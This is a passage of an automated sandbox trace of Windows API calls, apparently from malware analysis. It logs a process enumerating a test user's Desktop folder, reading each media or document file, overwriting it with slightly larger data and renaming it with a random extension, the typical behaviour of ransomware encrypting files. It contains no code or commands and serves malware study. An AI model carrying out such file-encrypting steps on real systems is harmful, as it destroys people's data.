cAlternateFileName="")) returned 1 [0150.796] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde682b20, ftCreationTime.dwHighDateTime=0x1d8b231, ftLastAccessTime.dwLowDateTime=0xd14802f0, ftLastAccessTime.dwHighDateTime=0x1d8b5c2, ftLastWriteTime.dwLowDateTime=0xd14802f0, ftLastWriteTime.dwHighDateTime=0x1d8b5c2, nFileSizeHigh=0x0, nFileSizeLow=0x131a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="1bVIb7.wav", cAlternateFileName="")) returned 1 [0150.796] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2288ec0, ftCreationTime.dwHighDateTime=0x1d8b897, ftLastAccessTime.dwLowDateTime=0x32185230, ftLastAccessTime.dwHighDateTime=0x1d8b995, ftLastWriteTime.dwLowDateTime=0x32185230, ftLastWriteTime.dwHighDateTime=0x1d8b995, nFileSizeHigh=0x0, nFileSizeLow=0xf5d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ar1Y9.wav", cAlternateFileName="")) returned 1 [0150.797] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1bd040, ftCreationTime.dwHighDateTime=0x1d8bbad, ftLastAccessTime.dwLowDateTime=0x51ca37d0, ftLastAccessTime.dwHighDateTime=0x1d8be39, ftLastWriteTime.dwLowDateTime=0x51ca37d0, ftLastWriteTime.dwHighDateTime=0x1d8be39, nFileSizeHigh=0x0, nFileSizeLow=0x163ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="lzAluM.m4a", cAlternateFileName="")) returned 1 [0150.797] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3720180, ftCreationTime.dwHighDateTime=0x1d8b0fe, ftLastAccessTime.dwLowDateTime=0xfda202c0, ftLastAccessTime.dwHighDateTime=0x1d8b913, ftLastWriteTime.dwLowDateTime=0xfda202c0, ftLastWriteTime.dwHighDateTime=0x1d8b913, nFileSizeHigh=0x0, nFileSizeLow=0x4edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="P55qinM.flv", cAlternateFileName="")) returned 1 [0150.797] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf02920, ftCreationTime.dwHighDateTime=0x1d8bee1, ftLastAccessTime.dwLowDateTime=0x3b202b20, ftLastAccessTime.dwHighDateTime=0x1d8c109, ftLastWriteTime.dwLowDateTime=0x3b202b20, ftLastWriteTime.dwHighDateTime=0x1d8c109, nFileSizeHigh=0x0, nFileSizeLow=0xca4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="vEsxlZJ6fy_JVYxR43.pptx", cAlternateFileName="VESXLZ~1.PPT")) returned 1 [0150.797] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98f9630, ftCreationTime.dwHighDateTime=0x1d8bc1e, ftLastAccessTime.dwLowDateTime=0x6d197e50, ftLastAccessTime.dwHighDateTime=0x1d8bd45, ftLastWriteTime.dwLowDateTime=0x6d197e50, ftLastWriteTime.dwHighDateTime=0x1d8bd45, nFileSizeHigh=0x0, nFileSizeLow=0x15955, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZF6VYCJ e.jpg", cAlternateFileName="ZF6VYC~1.JPG")) returned 1 [0150.797] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98f9630, ftCreationTime.dwHighDateTime=0x1d8bc1e, ftLastAccessTime.dwLowDateTime=0x6d197e50, ftLastAccessTime.dwHighDateTime=0x1d8bd45, ftLastWriteTime.dwLowDateTime=0x6d197e50, ftLastWriteTime.dwHighDateTime=0x1d8bd45, nFileSizeHigh=0x0, nFileSizeLow=0x15955, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZF6VYCJ e.jpg", cAlternateFileName="ZF6VYC~1.JPG")) returned 0 [0150.797] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0150.797] SetErrorMode (uMode=0x0) returned 0x1 [0150.797] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL", lpFilePart=0x0) returned 0x3c [0150.798] SetErrorMode (uMode=0x1) returned 0x0 [0150.798] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cda6a0, ftCreationTime.dwHighDateTime=0x1d8b9ea, ftLastAccessTime.dwLowDateTime=0x1f841810, ftLastAccessTime.dwHighDateTime=0x1d8bf27, ftLastWriteTime.dwLowDateTime=0x1f841810, ftLastWriteTime.dwHighDateTime=0x1d8bf27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0150.798] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cda6a0, ftCreationTime.dwHighDateTime=0x1d8b9ea, ftLastAccessTime.dwLowDateTime=0x1f841810, ftLastAccessTime.dwHighDateTime=0x1d8bf27, ftLastWriteTime.dwLowDateTime=0x1f841810, ftLastWriteTime.dwHighDateTime=0x1d8bf27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.798] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde682b20, ftCreationTime.dwHighDateTime=0x1d8b231, ftLastAccessTime.dwLowDateTime=0xd14802f0, ftLastAccessTime.dwHighDateTime=0x1d8b5c2, ftLastWriteTime.dwLowDateTime=0xd14802f0, ftLastWriteTime.dwHighDateTime=0x1d8b5c2, nFileSizeHigh=0x0, nFileSizeLow=0x131a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="1bVIb7.wav", cAlternateFileName="")) returned 1 [0150.798] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2288ec0, ftCreationTime.dwHighDateTime=0x1d8b897, ftLastAccessTime.dwLowDateTime=0x32185230, ftLastAccessTime.dwHighDateTime=0x1d8b995, ftLastWriteTime.dwLowDateTime=0x32185230, ftLastWriteTime.dwHighDateTime=0x1d8b995, nFileSizeHigh=0x0, nFileSizeLow=0xf5d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ar1Y9.wav", cAlternateFileName="")) returned 1 [0150.798] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1bd040, ftCreationTime.dwHighDateTime=0x1d8bbad, ftLastAccessTime.dwLowDateTime=0x51ca37d0, ftLastAccessTime.dwHighDateTime=0x1d8be39, ftLastWriteTime.dwLowDateTime=0x51ca37d0, ftLastWriteTime.dwHighDateTime=0x1d8be39, nFileSizeHigh=0x0, nFileSizeLow=0x163ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="lzAluM.m4a", cAlternateFileName="")) returned 1 [0150.798] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3720180, ftCreationTime.dwHighDateTime=0x1d8b0fe, ftLastAccessTime.dwLowDateTime=0xfda202c0, ftLastAccessTime.dwHighDateTime=0x1d8b913, ftLastWriteTime.dwLowDateTime=0xfda202c0, ftLastWriteTime.dwHighDateTime=0x1d8b913, nFileSizeHigh=0x0, nFileSizeLow=0x4edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="P55qinM.flv", cAlternateFileName="")) returned 1 [0150.798] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf02920, ftCreationTime.dwHighDateTime=0x1d8bee1, ftLastAccessTime.dwLowDateTime=0x3b202b20, ftLastAccessTime.dwHighDateTime=0x1d8c109, ftLastWriteTime.dwLowDateTime=0x3b202b20, ftLastWriteTime.dwHighDateTime=0x1d8c109, nFileSizeHigh=0x0, nFileSizeLow=0xca4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="vEsxlZJ6fy_JVYxR43.pptx", cAlternateFileName="VESXLZ~1.PPT")) returned 1 [0150.799] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98f9630, ftCreationTime.dwHighDateTime=0x1d8bc1e, ftLastAccessTime.dwLowDateTime=0x6d197e50, ftLastAccessTime.dwHighDateTime=0x1d8bd45, ftLastWriteTime.dwLowDateTime=0x6d197e50, ftLastWriteTime.dwHighDateTime=0x1d8bd45, nFileSizeHigh=0x0, nFileSizeLow=0x15955, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZF6VYCJ e.jpg", cAlternateFileName="ZF6VYC~1.JPG")) returned 1 [0150.799] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa98f9630, ftCreationTime.dwHighDateTime=0x1d8bc1e, ftLastAccessTime.dwLowDateTime=0x6d197e50, ftLastAccessTime.dwHighDateTime=0x1d8bd45, ftLastWriteTime.dwLowDateTime=0x6d197e50, ftLastWriteTime.dwHighDateTime=0x1d8bd45, nFileSizeHigh=0x0, nFileSizeLow=0x15955, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZF6VYCJ e.jpg", cAlternateFileName="ZF6VYC~1.JPG")) returned 0 [0150.799] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0150.799] SetErrorMode (uMode=0x0) returned 0x1 [0150.799] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a", lpFilePart=0x0) returned 0x47 [0150.799] SetErrorMode (uMode=0x1) returned 0x0 [0150.799] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\lzalum.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0150.800] GetFileType (hFile=0x1d0) returned 0x1 [0150.800] SetErrorMode (uMode=0x0) returned 0x1 [0150.800] GetFileType (hFile=0x1d0) returned 0x1 [0150.800] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x163ca [0150.800] ReadFile (in: hFile=0x1d0, lpBuffer=0x127e6670, nNumberOfBytesToRead=0x163ca, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x127e6670*, lpNumberOfBytesRead=0x21d358*=0x163ca, lpOverlapped=0x0) returned 1 [0151.186] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a", lpFilePart=0x0) returned 0x47 [0151.186] SetErrorMode (uMode=0x1) returned 0x0 [0151.187] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\lzalum.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.189] GetFileType (hFile=0x1d0) returned 0x1 [0151.189] SetErrorMode (uMode=0x0) returned 0x1 [0151.189] GetFileType (hFile=0x1d0) returned 0x1 [0151.189] WriteFile (in: hFile=0x1d0, lpBuffer=0x12855a00*, nNumberOfBytesToWrite=0x163d0, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x12855a00*, lpNumberOfBytesWritten=0x21d3d8*=0x163d0, lpOverlapped=0x0) returned 1 [0151.192] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a", lpFilePart=0x0) returned 0x47 [0151.192] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a.4e4jxp", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a.4e4jxp", lpFilePart=0x0) returned 0x4e [0151.192] SetErrorMode (uMode=0x1) returned 0x0 [0151.193] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\lzalum.m4a"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1bd040, ftCreationTime.dwHighDateTime=0x1d8bbad, ftLastAccessTime.dwLowDateTime=0x51ca37d0, ftLastAccessTime.dwHighDateTime=0x1d8be39, ftLastWriteTime.dwLowDateTime=0x569abe40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x163d0)) returned 1 [0151.193] SetErrorMode (uMode=0x0) returned 0x1 [0151.193] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\lzalum.m4a"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\lzAluM.m4a.4e4jxp" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\lzalum.m4a.4e4jxp")) returned 1 [0151.194] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv", lpFilePart=0x0) returned 0x48 [0151.194] SetErrorMode (uMode=0x1) returned 0x0 [0151.194] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\p55qinm.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.194] GetFileType (hFile=0x1d0) returned 0x1 [0151.194] SetErrorMode (uMode=0x0) returned 0x1 [0151.194] GetFileType (hFile=0x1d0) returned 0x1 [0151.194] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x4edf [0151.194] ReadFile (in: hFile=0x1d0, lpBuffer=0x28673e8, nNumberOfBytesToRead=0x4edf, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x28673e8*, lpNumberOfBytesRead=0x21d358*=0x4edf, lpOverlapped=0x0) returned 1 [0151.216] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv", lpFilePart=0x0) returned 0x48 [0151.216] SetErrorMode (uMode=0x1) returned 0x0 [0151.216] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\p55qinm.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.218] GetFileType (hFile=0x1d0) returned 0x1 [0151.218] SetErrorMode (uMode=0x0) returned 0x1 [0151.218] GetFileType (hFile=0x1d0) returned 0x1 [0151.218] WriteFile (in: hFile=0x1d0, lpBuffer=0x295fc68*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x295fc68*, lpNumberOfBytesWritten=0x21d3d8*=0x4ee0, lpOverlapped=0x0) returned 1 [0151.220] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv", lpFilePart=0x0) returned 0x48 [0151.220] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv.air6xs", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv.air6xs", lpFilePart=0x0) returned 0x4f [0151.220] SetErrorMode (uMode=0x1) returned 0x0 [0151.220] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\p55qinm.flv"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3720180, ftCreationTime.dwHighDateTime=0x1d8b0fe, ftLastAccessTime.dwLowDateTime=0xfda202c0, ftLastAccessTime.dwHighDateTime=0x1d8b913, ftLastWriteTime.dwLowDateTime=0x569f8100, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x4ee0)) returned 1 [0151.220] SetErrorMode (uMode=0x0) returned 0x1 [0151.221] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\p55qinm.flv"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\P55qinM.flv.air6xs" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\p55qinm.flv.air6xs")) returned 1 [0151.223] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx", lpFilePart=0x0) returned 0x54 [0151.223] SetErrorMode (uMode=0x1) returned 0x0 [0151.223] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\vesxlzj6fy_jvyxr43.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.223] GetFileType (hFile=0x1d0) returned 0x1 [0151.223] SetErrorMode (uMode=0x0) returned 0x1 [0151.223] GetFileType (hFile=0x1d0) returned 0x1 [0151.223] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0xca4c [0151.223] ReadFile (in: hFile=0x1d0, lpBuffer=0x2965b10, nNumberOfBytesToRead=0xca4c, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x2965b10*, lpNumberOfBytesRead=0x21d358*=0xca4c, lpOverlapped=0x0) returned 1 [0151.322] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx", lpFilePart=0x0) returned 0x54 [0151.322] SetErrorMode (uMode=0x1) returned 0x0 [0151.323] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\vesxlzj6fy_jvyxr43.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.328] GetFileType (hFile=0x1d0) returned 0x1 [0151.328] SetErrorMode (uMode=0x0) returned 0x1 [0151.328] GetFileType (hFile=0x1d0) returned 0x1 [0151.328] WriteFile (in: hFile=0x1d0, lpBuffer=0x28784a0*, nNumberOfBytesToWrite=0xca50, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x28784a0*, lpNumberOfBytesWritten=0x21d3d8*=0xca50, lpOverlapped=0x0) returned 1 [0151.331] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx", lpFilePart=0x0) returned 0x54 [0151.331] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx.9hyf53", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx.9hyf53", lpFilePart=0x0) returned 0x5b [0151.331] SetErrorMode (uMode=0x1) returned 0x0 [0151.331] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\vesxlzj6fy_jvyxr43.pptx"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf02920, ftCreationTime.dwHighDateTime=0x1d8bee1, ftLastAccessTime.dwLowDateTime=0x3b202b20, ftLastAccessTime.dwHighDateTime=0x1d8c109, ftLastWriteTime.dwLowDateTime=0x56b02aa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xca50)) returned 1 [0151.332] SetErrorMode (uMode=0x0) returned 0x1 [0151.332] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\vesxlzj6fy_jvyxr43.pptx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\vEsxlZJ6fy_JVYxR43.pptx.9hyf53" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\vesxlzj6fy_jvyxr43.pptx.9hyf53")) returned 1 [0151.333] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg", lpFilePart=0x0) returned 0x4a [0151.333] SetErrorMode (uMode=0x1) returned 0x0 [0151.333] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\GRHtAG4s9qD-ME4UNQ5d\\TsyPWpsnMPhL\\ZF6VYCJ e.jpg" (normalized: "c:\\users\\keecfmwgj\\desktop\\grhtag4s9qd-me4unq5d\\tsypwpsnmphl\\zf6vycj e.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, 